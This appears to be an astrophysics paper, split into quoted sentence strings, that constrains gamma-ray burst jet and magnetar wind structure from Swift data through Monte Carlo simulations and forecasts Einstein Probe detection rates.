"The X-ray lightcurves of these GRBs have an early X-ray shallow-decay segment or plateau with a flux decay index[^1] as $\\alpha < 0.75$, where $ F \\propto t^{-\\alpha}\\nu^{-\\beta}$ is adopted. ",
"No bright X-ray flare is observed in the shallow decay segment (plateau).",
"\n\nIt was proposed that the shallow-decay segment (plateau) is attributed to emission of a long-lasting, steady wind powered by the dipole radiations of a newly-born magnetar (e.g., ; [@2001ApJ...552L..35Z]; [@2007ApJ...670..565L]). ",
"Thus, the selected GRBs are regarded as a sample of GRBs powered by newly-born magnetars. ",
"It was suggested that the central engines of GRBs 980425, 060218, 170817A like low-luminosity GRBs (LL-GRBs) are also a magnetar ([@2000ApJ...537..810W]; [@2007ApJ...659.1420T]; [@2017ApJ...851L..18W]). ",
"We therefore include LL-GRBs 980425, 060218, and 170817A in our sample.",
"\n\nThe unabsorbed BAT and XRT light-curve data of these GRBs are taken from the [$Swift$]{} website ()[^2]. ",
"To make joint X-ray light curve with data observed by BAT and XRT, the BAT data are extrapolated to the XRT band (0.3-10 KeV) by assuming a single power-law spectrum ([@2006ApJ...647.1213O]; ; [@2009MNRAS.397.1177E]). ",
"We also collect the 1-s peak photon flux and photon indices of both the prompt gamma-ray and X-ray plateau phases for these GRBs from the website. ",
"It is well known that GRB spectra are usually well fitted with the so-called Band function, which is smooth broken power-law with a peak energy $E_{\\rm p}$ ([@1993ApJ...413..281B]). ",
"However, the spectra of prompt gamma-rays observed with BAT are usually fitted with a single power-law (SPL) model, $F\\propto E^{-\\Gamma}$), being due to the narrowness of the BAT band (e.g., [@2008ApJS..175..179S]). [",
"@2012MNRAS.424.2821V] reported an empirical relation, $$\\log(E_{\\rm peak})=(4.34\\pm 0.475)-(1.32\\pm 0.129)\\Gamma^{\\rm BAT}.",
"\n\\label{eq:Ep-Gamma}$$ We adopt this empirical relation to estimate the $E_p$ values of these GRBs and calculate the bolometric luminosity in the $1-10^{4}$ keV band with the Band function adopting the typical photon spectral indices $ \\alpha=-1 $ and $ \\beta=-2.3 $ for all selected GRBs. ",
"We make empirical fit to the shallow decay segment in the early XRT lightcurves to measure the end time ($t_b$) and the corresponding flux ($F_w$) of this segment. ",
"We take the characteristic X-ray luminosity of dipole radiation wind as $L_{\\rm w}=4 \\pi D_{L}^2 F_{w}$. The data of the GRBs in our sample are reported in Table 1.",
"\n\nGRB Jet Structure and local event rate\n======================================\n\nMethodology\n-----------\n\nWe parameterize the jet structure as ([@2015MNRAS.447.1911P],[@2018MNRAS.473L.121K]) $$\\label{jet_structure}\nL_{\\rm j}(\\theta|k, \\theta_{\\rm c, j}, L_{\\rm c,j})= \\left\\{\n \\begin{array}{ll}\n L_{\\rm c,j} & \\theta \\leq \\theta_{\\rm c, j},\n \\nonumber \\\\\n L_{\\rm c,j}(\\frac{\\theta}{\\theta_{\\rm c, j}})^{-k_{\\rm j}} & \\theta > \\theta_{\\rm c, j},\n \\end{array}\n\\right.$$ where $L_{\\rm c,j}$ is isotropic luminosity of the jet core within $\\theta_{\\rm c, j}$, and $k_{\\rm j}$ is the power-law decaying index out of the core. ",
"The number density of GRBs in unit time at unit redshift is given by $$\\label{dn}\n\\frac{dN}{dtdz}=\\frac{R_{\\rm GRB}(z)}{1+z}\\frac{dV(z)}{dz},$$ where $R_{\\rm GRB}(z)$ is the GRB event rate in the unit of ${\\rm Gpc^{-3} yr^{-1}}$ at a comoving volume element $\\frac{dV(z)}{dz}$, which is calculated with $$\\label{dvdz}\n\\frac{dV}{dz}=\\frac{c}{H_0}\\frac{4\\pi D^2_L}{(1+z)^2\n[\\Omega_M(1+z)^3+\\Omega_\\Lambda]^{1/2}}.$$ The factor $(1+z)^{-1}$ accounts for the cosmological time dilation correction. ",
"The GRB rate is assumed to follow the star formation rate. ",
"We also consider the enhanced evolution factor of GRBs ([@2008ApJ...683L...5Y]; [@2009ApJ...705L.104K]; [@2009ApJ...705L.104K]; [@2010MNRAS.406..558Q] ), i.e., the GRB rate $R_{GRB}(z)$ is parameterized as ([@2008ApJ...683L...5Y] ) $$\\label{GRB_rate}\nR _{\\rm LGRB}(z) \\propto R_{\\rm SFR} (z) \\mathcal{E}(z),$$ where $R_{\\rm SFR}(z)$ is the star formation rate at redshift $z$, $\\mathcal{E}(z)=\\mathcal{E}_{0}(1+z)^{\\alpha}$ with $\\alpha \\simeq 1.5$ stands for an enhanced evolution of GRBs. ",
"There are many previous studies for the star formation rate $R_{\\rm SFR}(z)$, (see, e.g., ; [@2006ApJ...651..142H]; [@2008ApJ...683L...5Y]; [@2010MNRAS.406..558Q]). ",
"The equation form and parameters presented by [@2008ApJ...683L...5Y] are adopted in our analysis, which is\n\n$$R_{\\rm SFR}(z)={R}_{0}\\left[(1+z)^{a \\eta}+\\left(\\frac{1+z}{B}\\right)^{b \\eta}+\\left(\\frac{1+z}{C}\\right)^{c \\eta}\\right]^{1 / \\eta},$$\n\nwhere $R_0$ is the local SFR rate, $a=3.4$, $b=-0.3$, $c=-3.5$, $B=5000$, $C=9$, and $\\eta=-10$.\n\nSimulation analysis\n-------------------\n\nWe constrain the jet parameters of $k_{\\rm j}$, $\\theta_{\\rm c, j}$, $L_{\\rm c,j} $ via Monte Carlo simulation analysis by comparing our simulations to the data observed with the [*Swift*]{} mission. ",
"We assume uniform distributions of these parameters in the range $k_{\\rm j}\\in \\{2,10\\}$, $\\theta_{\\rm c, j}\\in\\{0.5^{o},20^{o}\\}$, and $\\log L_{\\rm c,j}/{\\rm erg}\\in \\{51,\\ 54\\}$. We generate a jet structure parameter set of $\\{L_{\\rm c,j}, \\theta_{\\rm c, j}, k_{\\rm j}\\}$ by randomly picking up their values from their prior uniform distributions. ",
"The redshift ($z^{i}$) of a given mock GRB $i$ is generated via a bootstrap method based on Eqs. (",
"\\[GRB\\_rate\\]). ",
"Since the probability of observing a GRB in $\\theta_v$ is given by $$\\label{P_theta}\np(\\theta_v)\\propto \\sin \\theta_v,$$ we generate its viewing angle $\\theta^{i}$ based on Eq. (",
"\\[P\\_theta\\]). ",
"To avoid over producing GRBs with luminosity of $L_{\\rm c,j}$ for $\\theta_v<\\theta_{\\rm c, j}$, we further assume that $\\log L_{\\rm c,j}$ is quasi universal, being a Gaussian distribution with $\\sigma_{L_{\\rm c,j}}=0.5$, i.e., $$\\label{Lc}\n\\Phi\\left(L^{i}_{\\rm c, j}\\right)\\propto \\exp \\left[-\\frac{\\left(\\log L^{i}_{\\rm c, j}-\\log L_{\\rm c,j}\\right)^{2}}{2 \\sigma_{\\log L_{\\rm c,j}}^{2}}\\right]$$ for a given GRB $i$. We generate an $L^{i}_{\\rm c, j}$ value via a bootstrap method based on Eq. (",
"\\[Lc\\]). ",
"Its observed luminosity viewing at $\\theta^{i}_v$, $L^{i}(\\theta^{i}_v)$, is derived from Eq. (",
"\\[jet\\_structure\\]) with the parameter set $\\{L^{i}_{\\rm c, j}, \\theta_{\\rm c, j}, k_{\\rm j}\\}$. Hence, its observed flux is calculated with $$F^{i}_{\\rm obs}=\\frac{L^{i}(\\theta^{i}_v)} {4\\pi D^{2}_L(z^{i}) k_{\\rm corr}},$$ where $D_L(z^{i})$ is the luminosity distance of the GRB $i$ and $k_{\\rm corr}$ is the k-correction factor for correcting the bolometric flux to the flux at a given instrument energy band. ",
"We adopt $k_{\\rm corr}=3$ in our simulation for a typical GRB with the Band function spectral parameters of $E_p=200$ keV, $\\Gamma_1=-1$, $\\Gamma_2=-2.3$ at $z=2$. In case of $F^{i}_{\\rm obs}$ is higher than the BAT instrument threshold, i.e., $F^{i}_{\\rm obs}>F_{th}$, this event is picked up as a triggered GRB. ",
"The lowest flux truncation of BAT is $1\\times 10^{-8}$ erg cm$^{-2}$ s$^{-1}$ for GRBs with an incident angle of zero, but it is lowered down to $1\\times 10^{-7}$ erg cm $^{-2}$ s $^{-1}$ for GRBs with an incident angle of $55^o$ ([@2014ApJ...783...24L]). ",
"Since the incidence angle of a GRB is random, the trigger criterion would be uniform in the range $\\{1\\times 10^{-8}$, $1\\times 10^{-7}$} erg cm$^{-2}$ s$^{-1}$. Therefore, we pick a random value in this range as the trigger criterion for a given mock GRB. ",
"We simulate a mock [*Swift*]{} GRB sample of 1500 GRBs (comparable to the current [*Swift*]{} GRB sample) for each parameter set $\\{L_{\\rm c,j}, \\theta_{\\rm c, j}, k_{\\rm j}\\}$, and evaluate the consistency between the observed and mock GRB sample of GRB distributions in the $L_{\\rm obs}-z$ plane, using the probability of the Kolmogorov-Smirnov test (K-S test), $p_{\\rm KS}\\equiv p^{L}_{\\rm KS}\\times p^{z}_{\\rm KS}$, where $p^{L}_{\\rm KS}$ and $p^{z}_{\\rm KS}$ are the probabilities of the K-S tests for the luminosity and redshift distributions.",
"\n\nWe simulate $2\\times 10^4$ sets of $\\{L_{\\rm c,j}, \\theta_{\\rm c, j}, k_{\\rm j}\\}$. Figure \\[fig:jet-structure\\] shows the $P_{\\rm KS}$ contours in the $L_{\\rm c,j}-k_{\\rm j}$ and $\\theta_{\\rm c, j}-k_{\\rm j}$ planes. ",
"The derived best parameter set is $\\{\\log L_{\\rm c,j}, \\theta_{\\rm c, j}, k_{\\rm j}\\}=\\{52.68, 2.1^{o}, 4.00\\}$ with a $P^{\\rm max}_{\\rm KS}=0.19$. We normalize the $P_{\\rm KS}$ value of each parameter set to $P^{\\rm max}_{\\rm KS}$, then derive the confidence level contours of 50%, 68.3% and 90%. ",
"Constraints on $L_{\\rm c, j}$ and $k_{\\rm j}$ in a confidence level of $68.3\\%$ ($1\\sigma$) are $\\log L_{\\rm c, j}/{\\rm erg/s}=52.68^{+0.76}_{-0.33}$ and $k_{\\rm j}=4.00^{+0.27}_{-0.37}$. An upper limit of $\\theta_{\\rm c, j}<8^{o}$ is found in $1\\sigma$ confidence level, and it is $\\theta_{\\rm c, j}=2.10_{-1.28}^{+1.90}$ in a confidence level of $50\\%$. Figure \\[fig:jet-1D-2D\\] shows comparison of the observed sample to the mock sample derived from our simulations based on the best parameter set $\\{\\log L_{\\rm c,j}, \\theta_{\\rm c, j}, k_{\\rm j}\\}=\\{52.68, 2.1^{o}, 4.00\\}$. One can observe that the data can be well reproduced with $P^{L}_{\\rm KS}=0.58$, $P^{z}_{\\rm KS}=0.33$, and $P_{\\rm KS}=0.19$. The derived distribution of viewing angles is shown in Figure \\[fig:viewing-angle\\]. ",
"It can be well fit with a log-normal function of $\\log \\theta_v=0.52\\pm 0.13$. A few nearby LL-GRBs with a luminosity of several $10^{46}$ erg $s^{-1}$, such as GRBs 980425 ($z=0.0086$), 060218 ($z=0.0331$), and 170817A ($z=0.0098$) are indeed can be reproduced. ",
"They are $\\log L/(\\rm erg s^{-1})=46.57$ at $z=0.00618$ and $\\log L/(\\rm erg s^{-1})=46.66$ at $z=0.01533$. Their viewing angles are 32$^{o}$ and 28$^{o}$, being similar to that of GRB 170817A. The probability of such events is only about $10^{-4}$.\n\nWe evaluate the GRB event rate based on the derived best parameter set of the jet structure. ",
"The number of the detected GRBs with an instrument having a flux threshold $F_{\\rm th}$ and an average solid angle $\\Omega$ for the aperture flux in a period of $T$ should be calculated with $$\\label{N}\nN=\\frac{\\Omega T}{4\\pi}\\int_{L_{c, \\min}}^{L_{c, \\max}}\n\\Phi(L_{\\rm c,j})dL_{\\rm c,j} \\int_{0}^{\\theta_{v, \\max}} p(\\theta_v)d\\theta_v \\int_0^{z_{\\max}} \\frac{R_{\\rm\nGRB}(z)}{1+z}\\frac{dV(z)}{dz}dz,$$ where $L_{c, \\max}$ and $L_{c, \\min}$ are taken as $10^{55}$ and $10^{50}$ erg s$^{-1}$, respectively, and $\\theta_{c, \\max}$ and $z_{\\max}$ depend on the jet structure (Eq. ",
"5) and the instrumental flux threshold $F_{\\rm th}$. The solid angle of BAT is 1.33, and the average number of [Swift]{}/BAT is $\\sim$95 per year based on observations. ",
"Adopting the best parameter set $\\{\\log L_{\\rm c,j}, \\theta_{\\rm c, j}, k_{\\rm j}\\}=\\{52.68, 2.1^{o}, 4.00\\}$ and $F^{\\rm BAT}_{\\rm th}=3\\times 10^{-8}$ erg cm$^{-2}$ s$^{-1}$, we obtain the local GRB rate is $\\rho_0=9.6$ Gpc$^{-3}$yr$^{-1}$ by riskily assuming that all GRBs have such a jet structure.",
"\n\nX-Ray Luminosity Function and Wind Structure of Newly-born Magnetar Dipole Radiations\n=====================================================================================\n\n[*Swift*]{}/XRT may present the first sample of newly-born magnetar dipole radiations in the X-ray band with its prompt slewing capacity (several tens of seconds post the BAT trigger), high sensitivity (with a threshold of $10^{-13}$ erg cm$^{-2}$ s$^{-1}$ in 0.3-10 keV), and long operation years (about 14 years since [*Swift*]{} launch in 2004). ",
"We constrain on X-ray luminosity function and wind structure of newly-born magnetar dipole radiations with this sample.",
"\n\nWe first investigate the empirical luminosity function by characterize it with a broken power-law function, $$\\label{LF}\n\\Phi(L_{\\rm w})=\\Phi_0\\left[\\left(\\frac{L_{\\rm w}}{L_{b, w}}\\right)^{\\beta_1}\n+\\left(\\frac{L_{\\rm w}}{L_{b, w}}\\right)^{\\beta_2}\\right]^{-1}.$$ The indices $\\beta_1$ and $\\beta_2$ as well as the broken luminosity $L_{b, w}$ are constrained by measuring the observed $L^{\\rm obs}_{w}$ and $z$ distributions with the our simulation results using the same method as above. ",
"The flux threshold of XRT in blind search mode is taken as $F_{\\rm XRT, th}=1\\times10^{-13}$ erg cm$^{-2}$ s$^{-1}$. Our procedure is the same as that for constraining the jet structure parameters as described above. ",
"The $L_{\\rm w}$ values are bootstrapped based on Eq. ",
"\\[LF\\] in the range of $\\log L_{b, w}/{\\rm erg\\ s^{-1}} \\in\\{42, 51\\}$. The distributions of $\\beta_1$ and $\\beta_2$ are assumed to be uniform in $\\beta_1\\in\\{0.4, 1\\}$ and $\\beta_2\\in \\{1.0,\\ 2.6\\}$, and their values are randomly pick up in the ranges. ",
"Giving a parameter set {$\\beta_1$, $\\beta_2$, $L_{b, w}$}, we simulate a sample of $10^4$ dipole wind radiation events assuming that the dipole radiation wind is independent of the prompt emission jet. ",
"We measure the consistency of $L_{\\rm w}$ and $z$ distributions between the mock and observed samples with the $K-S$ test. ",
"Figure \\[fig:wind-LF-parameter\\] shows the $p_{\\rm KS}$ contours in the $\\beta_1-L_{b,w}$ and $\\beta_2-\\log L_{b, w}$ planes. ",
"In $1\\sigma$ confidence level, we get $\\beta_1=0.78^{+0.16}_{-0.15}$, $\\log L_{b, w}/{\\rm erg\\ s^{-1}}=48.51^{+0.53}_{-0.65}$, and $\\beta_2>1.6$. The best parameter set is $\\{\\beta_1, \\beta_2, \\log L_{b,w}\\}=\\{0.78, 2.22, 48.51\\}$. Figure \\[fig:wind-LF-Dis\\] shows the distribution probability contours of the mock sample derived from this parameter set in comparison with the observed data. ",
"We obtain $p_{\\rm KS}=0.29$, indicating an good agreement between the two samples.",
"\n\nObservation shows the X-ray luminosity of the dipole radiation wind is tight correlated with prompt gamma-ray luminosity (e.g., [@2019ApJ...877..153Z]). ",
"This motivates us to investigate the possible physical relation between them. ",
"We suspect that the wind is also structured and collimated, and make simulations based on the following assumptions. ",
"First, it is co-axial with the GRB jet and their viewing angle is same as the jet viewing angle. ",
"Second, its structure is also parameterized as Eq. ",
"\\[jet\\_structure\\], and parameters of the jet and wind are independent. ",
"Third, the luminosity ($L_{\\rm c, w}$) within the core region ($\\theta<\\theta_{\\rm c, w}$) is also assumed to be quasi-universal among bursts, which follows the Gaussian distribution with $\\sigma_{\\log L_{\\rm c, w}}=0.5$. We constrain $L_{\\rm c, w}$, $\\theta_{\\rm c, w}$ and the power-law index ($k_{\\rm w}$) out of $\\theta_{\\rm c, w}$ using the same simulation technique as that for determining the jet structure parameters. ",
"The prior distributions of the parameters of the wind are taken as uniform distributions in the ranges of $k_{\\rm w}\\in \\{2,10\\}$, $\\theta_{\\rm c, w}\\in\\{0.5^{o},20^{o}\\}$, and $\\log L_{\\rm c, w}/{\\rm erg\\ s^{-1}}\\in \\{42,\\ 50\\}$.\n\nFigure \\[fig:wind-structure\\] shows the $P_{\\rm KS}$ contours in the $L_{\\rm c, w}-k_{\\rm w}$ and $\\theta_{\\rm c, w}-k_{\\rm w}$ planes. ",
"The best parameter set is $\\{\\log L_{\\rm c, w}, \\theta_{\\rm c, w}, k_{\\rm w}\\}=\\{48.38, 2.65^{o}, 4.57\\}$. They are well constrained even in a confidence level of $90\\%$. In the $1\\sigma$ confidence level, we obtain $\\log L_{\\rm c, w}/{\\rm erg\\ s^{-1}}=48.38^{+0.30}_{-0.48}$, $\\theta_{\\rm c, w}={2.65^{o}}_{-1.19^{o}}^{+0.1.73^{o}}$, and $k_{\\rm w}=4.57^{+1.21}_{-0.75}$. It is found that $\\theta_{\\rm c, w}$ and $k_{\\rm w}$ are comparable to $\\theta_{\\rm c, j}$ and $k_{\\rm j}$, indicating that the wind structure is similar to the prior prompt emission jet.",
"\n\nWe generate a mock sample of $10^4$ events with the best parameter set and shows the 1 and 2 dimensional (1-D and 2-D) distributions of $\\log L_{\\rm w}$ and $\\log (1+z)$ in comparison with the data in Figure \\[fig:wind-1D-2D\\]. ",
"By randomly picking up a sub-sample from this mock sample, we also show the $L_{\\rm j}$ as a function of $L_{\\rm w}$ in comparison with the data in Figure \\[fig:Swift-Lw-Lj\\]. ",
"One can see that the observed 1-D and 2-D GRB distributions and the $L_{\\rm j}-L_{\\rm w}$ correlation can be reproduced in our simulations. ",
"The estimated detection probability of the low luminosity dipole radiation winds ($L_{\\rm w}<10^{44}$ erg/s) in this wind structyre is $\\sim 0.15\\%$ with [Swift]{}/XRT, and their average viewing angle and redshift are $\\sim 24^{o}$ and 0.14, respectively.",
"\n\nDiscussion\n==========\n\nEjecta Structure and Physical Origin of Jet-Wind Connection\n-----------------------------------------------------------\n\nIt was proposed that the geometrically-corrected jet energy among GRBs is quasi-universal in cases of a uniform jet or a quasi-Gaussian jet, i.e., $\\sim 10^{51}$ ergs ([@2001ApJ...562L..55F]; [@2004ApJ...601L.119Z]). ",
"Our analysis suggests that the observed broad luminosity distribution of GRBs is resulted from observing quasi-universal jets at different viewing angles (see also [@2016MNRAS.461.3607S]). ",
"The jet luminosity is $\\sim 4.24\\times 10^{49}$ erg s$^{-1}$, and inferred jet energy is $4.24\\times 10^{50}$ ergs based on the best parameter set from our analysis, assuming a burst duration of 10 seconds. ",
"This is comparable to that proposed by [@2001ApJ...562L..55F] and [@2004ApJ...601L.119Z].",
"\n\nThe derived jet structure in our analysis is composed of two components, a narrow constant luminosity core and a cocoon with power-lay-decay luminosity distribution. ",
"Signatures of two-component jet has been found in numerical simulations (e.g., [@2003ApJ...586..356Z]). [",
"@2004ApJ...601L.119Z] proposed that both GRB/XRF prompt emission/afterglow data can be described by a quasi–Gaussian-type structured jet with a typical opening angle of $\\sim 6^{o}$ and a standard jet energy of $\\sim 10^{51}$ ergs. [",
"@2004MNRAS.348..153L] found that the prompt gamma-ray fluence as a function of jet opening angle can be derived as $S_{\\gamma}\\propto \\theta^{-0.4}$ at $\\theta<0.1$ rad and $S_{\\gamma}\\propto \\theta^{-3.79}$ at $\\theta>0.1$ rad. ",
"This is resemble to the structure obtained in our analysis. ",
"The observed broad distribution of the peak energy of the $\\nu f_{\\nu}$ spectrum may be also well explained with the two component jet model ([@2004ApJ...608L...9L]; [@2004ApJ...605..300H]). ",
"When the light of sight of an observer is within the narrow component, an observed burst is a typical GRB, and it may be an X-ray flash (XRF) if the light of sight is out of the core. ",
"Evidence of two-component jet is also seen in the afterglow lightcurves. ",
"For example, two different jet breaks are observed in early optical afterglow light curve (0.55 day, [@2003Natur.423..844P]) and in late radio light curve (9.8 day) of GRB 030329. [",
"@2003Natur.426..154B] proposed a two component jet model to explain the data. ",
"Millimeter observations of this burst further support the two–component jet model ([@2003ApJ...595L..33S]).",
"\n\nOur analysis shows that the outflow of the wind may be also structured and collimated, and it is co-axial with the GRB jet. ",
"The derived $\\theta_{\\rm c, w}$ is slightly larger than $\\theta_{\\rm c, j}$, and $k_{\\rm w}$ is also larger than $k_{\\rm j}$. This result likely implies that the jet breaks out of the progenitor envelop, and the wind follows the pathway of the jet to form a collimated outflow. ",
"The interaction between the jet and medium result in a power-lay structured cocoon surrounding the narrow component. ",
"Since the jet and wind are in the same environment medium, the structures of the jet and wind ejecta would be analogue. ",
"Such a configuration incorporating the viewing angle effect may also explain the observed diversity of the X-ray and optical afterglow lightcurves.",
"\n\n[@2019ApJ...877..153Z] found that the energy releases of the jets and winds are correlated, i.e., $E_{\\rm w}\\propto E^{0.89\\pm 0.07}_{\\rm j}$ and proposed that the energy partition between the jet and wind is quasi-universal. ",
"Our simulations well reproduce the $L_{\\rm w}-L_{\\rm j}$ correlation , as shown in Figure \\[fig:Swift-Lw-Lj\\]. ",
"This indicates that the observed jet-wind correlation would be attributed to the viewing angle effect to a quasi universal jet-wind configuration.",
"\n\nNature of LL-GRBs and Local GRB rate\n------------------------------------\n\nThe local event rate ($\\rho_0$) has been extensively discussed (e.g., [@2001ApJ...552...36S]; [@2005ApJ...619..412G] ;[@2007ApJ...662.1111L]; [@2010MNRAS.406.1944W]; [@2014ApJ...783...24L]; [@2019MNRAS.488.4607L]). ",
"The most uncertainty of $\\rho_0$ is from whether the nearby LL-GRBs are the same population as typical GRBs. ",
"The inferred $\\rho_0$ is usually about $\\sim 1$ Gpc$^{-1}$ yr$^{-1}$ for typical high luminosity GRBs ([@2001ApJ...552...36S]; [@2007ApJ...662.1111L]; [@2010MNRAS.406.1944W]). ",
"With observed nearby LL-GRBs 980425 and 060218, it was proposed that the local rate of LL-GRBs would be $\\sim 10^3$ Gpc$^{-1}$ yr$^{-1}$, being much higher than typical GRBs ([@2006ApJ...645L.113C]; [@2007ApJ...662.1111L]; [@2007ApJ...657L..73G]), and these LL-GRBs were suggested to be from a unique population ([@2007ApJ...662.1111L]).",
"\n\nGRB 170817A is a [*smoking gun*]{} for extreme off-axis nature of LL-GRBs. ",
"To include GRB 170817A like extremely off-axis events ($\\theta_v\\sim 26^{o}$) in the mock sample, the best parameter set is $\\{\\log L_{\\rm c, j}/{\\rm erg\\ s^{-1}}=52.68, \\theta_{\\rm c, j}=2.1^{o}, \\ k_{\\rm j}=4.00\\}$. Note that LL-GRBs places strong constraints on the $k_{\\rm j}$ value if both typical and low luminosity GRBs are the same population. ",
"The $k_j$ value is much shallower than that reported by [@2015MNRAS.447.1911P], who suggested $k_{\\rm j}\\sim -8$. The estimate of $\\rho_0$ and local LL-GRB detection probability highly depends on the jet structure or the luminosity function of GRBs. ",
"Based on the derived jet structure parameters, we infer the detection probability of GRBs 060218 and 170817A like extreme off-axis LL-GRBs with [*Swift*]{}/BAT is about $10^{-4}$, and $\\rho_0\\sim 9.6$ Gpc$^{-1}$ yr$^{-1}$. The $\\rho_0$ value is about one order magnitude larger than that derived from typical GRB samples and about two orders of magnitude smaller than that estimated with a few nearby LL-GRBs.",
"\n\nGRB and Magnetar Dipole Radiation Survey with the [*Einstein Probe*]{} (EP)\n---------------------------------------------------------------------------\n\nThe Einstein Probe (EP) is dedicated to make X-ray transient survey and monitor variable objects in the soft X-ray band (0.5-4keV). ",
"A wide field X-ray telescope (WXT) and a follow-up X-ray telescope (FXT) are on board EP. ",
"The field-of-view of WXT is about 1.1 steradian and its spatial resolution is about 5 arcmin. ",
"Using the novel lobster-eye optics, WXT may offer high sensitivity for X-ray all-sky monitors. ",
"Its sensitivity is bout $10^{-11}$ ergs s$^{-1}$ cm$^{-2}$ in the 0.5-4 keV band (or 0.3 mCrab) at the $5\\sigma$ confidence level in a 1000s exposure ([@2016SSRv..202..235Y]). ",
"The appropriate exposure time would hundreds of seconds since the typical spin down timescale of newly-born magnetars is about several thousands seconds. ",
"In a 100s exposure, WXT sensitivity is about $10^{-10}$ ergs s$^{-1}$ cm$^{-2}$, which is higher by one or two orders of magnitude than Swift/BAT. ",
"FXT aims at performing follow-up characterization and precise localization of newly-discovered transients. ",
"Its sensitivity is $F^{\\rm FXT}_{\\rm th}=3 \\times 10^{-11}$ ergs s$^{-1}$ cm$^{-2}$ in 100s exposure.",
"\n\nWe investigate the possible survey outcomes for the dipole radiations with the WXT and FXT on board the EP mission. ",
"We simulate the jet and wind emission of a GRB and evaluate whether it can be triggered with WXT and its wind emission can be detectable with FXT based on the derived best parameter sets of the jet and wind structure as well as the local GRB rate. ",
"Adopting the sensitivity of EP/WXT as $F^{\\rm WXT}_{\\rm th}=1\\times 10^{-10}$ ergs s$^{-1}$ cm$^{-2}$ in 100s exposure, we find that WXT may trigger 510 events per year, which is higher than [*Swift*]{}/BAT with a factor of about 5. ",
"This sample is rich of XRFs or LL-GRBs since WFX is sensitive in soft X-ray band. ",
"The $L_{\\rm j}-L_{\\rm w}$ correlation thus may be further verified with this sample, as shown in Figure \\[fig:EP-Lw-Lj\\]. ",
"The great challenge is detection of the wind emission. ",
"Figure \\[fig:EP-Lw-z\\] shows this sample in the $\\log (1+z)-\\log L_{\\rm w}$ plane. ",
"One can find that the wind radiations is detectable with WXT is only 2.4% (about 12 GRBs per year). ",
"Prompt follow-up observation with FXT may increase the percentage to $8.6\\%$ (about 44 GRBs per year). ",
"A large fraction of the wind events should be detectable with XRT. ",
"However, as mentioned in [@2019ApJ...877..153Z], the major factor hampering the identification of the wind radiations is the afterglows, not the XRT sensitivity. ",
"They found that about $60\\%$ MD radiations may be covered by the forward shock afterglows. ",
"Although the WXT and FXT detectable wind events are bright, the covering effect by bright X-ray afterglows would also significantly reduce the detection rate of the wind events.",
"\n\n[@2019Natur.568..198X] reported an orphan magnetar-powered X-ray transient using the data observed with Chandra X-ray telescope. ",
"Within the jet-wind configuration in this analysis, the non detection of jet radiation accompanied the orphan X-ray transient is not due to the viewing angle effect since the jet and wind are co-axial. ",
"It is possible that the GRB jet as a pioneer does not successfully break out and the wind as a successor breaks out as a collimated outflow to produce the X-ray transient. ",
"Thus, WXT survey may be also interesting for searching similar orphan X-ray transients. ",
"Since the wind emission is steady and long last, the trigger algorithm is critical to trigger such kind of events.",
"\n\nConclusion\n==========\n\nBy assuming that GRB jets powered by newly-born magnetars are quasi-universal and the observed broad luminosity distribution is due to the viewing angle effect, we have constrained the GRB jet structure through Monte Carlo simulations. ",
"We parameterize the jet structure $L_{\\rm j}=L_{\\rm c,j}$ at $\\theta\\leqslant \\theta_{\\rm c, j}$ and $L_{\\rm j}=L_{\\rm c, j}(\\theta/\\theta_c)^{-k_{\\rm j}}$ at $\\theta>\\theta_{\\rm c, j}$, and constrain the parameters by comparing our simulations to the [*Swift*]{} data via MCMC simulations. ",
"We find $\\log L_{\\rm c, j}/{\\rm erg\\ s^{-1}}=52.68^{+0.76}_{-0.33}$ and $k_{\\rm j}=4.00^{+0.27}_{-0.37}$ in $1\\sigma$ confidence level, $\\theta_{\\rm c, j}=2.10_{-1.28}^{+1.90}$ in a confidence level of $50\\%$, and the inferred local GRB rate as $\\rho=9.6$ Gpc$^{-3}$ yr$^{-1}$ by including both the typical GRBs and LL-GRBs as the same population. ",
"The typical $\\theta_v$ is 3.3$^{o}$ for typical GRBs, and they may be $20^{o}\\sim30^{o}$ for LL-GRBs, which are detectable at nearby universe with a chance probability of $\\sim 10^{-4}$. The X-ray luminosity function of the dipole radiation wind can be empirically described with a broken power-law function with indices $\\beta_1=0.79$ and $\\beta_2<1.6$ broken at $3.2\\times 10^{48}$ erg s$^{-1}$. We further investigate the scenario that the wind outflow may be also collimated and co-axial with the prompt GRB jet. ",
"It is found that structure of wind is similar to the prior prompt emission jet, i.e., $\\log L_{\\rm c, w}/{\\rm erg\\ s^{-1}}=48.38^{+0.30}_{-0.48}$, $\\theta_{\\rm c, w}={2.65^{o}}_{-1.19^{o}}^{+0.1.73^{o}}$, and $k_{\\rm c, w}=4.57^{+1.21}_{-0.75}$ in the $1\\sigma$ confidence level. ",
"The observed correlation between the prompt gamma-ray luminosity of the jet and X-ray luminosity of the wind, indicating that the correlation may be resulted from the viewing effect to a quasi universal structured ejecta of both the jet and wind component.",
"\n\nOur analysis is based on a sub-sample of GRBs whose central engine may be a newly-born magnetar. ",
"Their early X-ray lightcurves are characterized with a plateau or a shallow decay segment. ",
"Sample selection with such a feature may suffer great biases since the early bright X-ray afterglows of the GRB jet, erratic late X-ray flares from late activities of the GRB central engine, the X-ray tail emission of prompt gamma-rays from high latitude of the GRB fireball may make a lot contaminations to this phase (e.g., [@2019ApJ...877..153Z]). ",
"As mentioned in [@2019ApJ...877..153Z], the major factor hampering the identification of the wind radiations is the jet afterglows. ",
"They found that the plateau may be covered by jet X-ray afterglows form the forward shocks for about $60\\%$ GRBs. ",
"We select only those GRBs that their plateau or the shallow decay segment is clear detected without significant contaminations as mention above. ",
"The luminosity and redshift distributions of this sub-sample do not show significant different from the entire sample of the [*Swift*]{}/BAT GRBs. ",
"We regard it as a uniform sub-sample picked up from the complete sample under the [*Swift*]{}/BAT threshold in this analysis. ",
"Larger uniform sample, especially those samples including more low or median luminosity GRBs with $L_{j}\\sim 10^{46}-10^{49}$ erg s$^{-1}$, may place stronger constraints on the jet and wind structure parameters as well as the local event rate of GRBs. ",
"However, we should emphasize that the fundamental issue of the sample selection effect that may dramatically change our analysis results is whether LL-GRBs are the same population as typical GRBs.",
"\n\nRedshift measurement is necessary for our analysis. ",
"It suffers great observational biases, including the optical afterglow detection, optical spectroscopic observations of the afterglow or host galaxy identification (e.g., [@2010MNRAS.406..558Q]). ",
"In addition, the derived jet structure in our analysis is resemble to a narrow uniform jet surrounding by a cocoon featured as $L{_{\\rm j}}\\propto (\\theta/\\theta_{\\rm c, j})^{-4}$ at $\\theta>\\theta_{\\rm c, j}$. The cocoon luminosity rapidly dimer as $\\theta_v$ increase. ",
